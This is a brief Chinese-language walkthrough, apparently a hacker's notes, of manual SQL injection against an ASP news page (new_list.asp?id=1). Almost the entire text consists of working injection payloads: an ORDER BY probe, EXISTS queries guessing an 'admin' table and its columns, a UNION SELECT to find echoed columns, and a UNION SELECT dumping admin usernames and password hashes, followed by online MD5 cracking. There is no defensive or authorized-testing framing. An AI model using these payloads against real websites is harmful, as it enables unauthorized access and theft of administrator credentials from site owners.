order by 1 ,有回显,存在注入点
new_list.asp?id=1 and exists(select * from admin) 测试是否存在admin,纯靠猜......
存在admin表,接下来测回显位置 /new_list.asp?id=1 union select 1,2,3,4 from admin
接下来猜字段值,and exists (select id from admin),没错你没看错纯靠猜....
猜测为id,username,passwd 经过验证页面也是有会显
union select 1,username,passwd,id from admin 爆字段值
md5 在线解密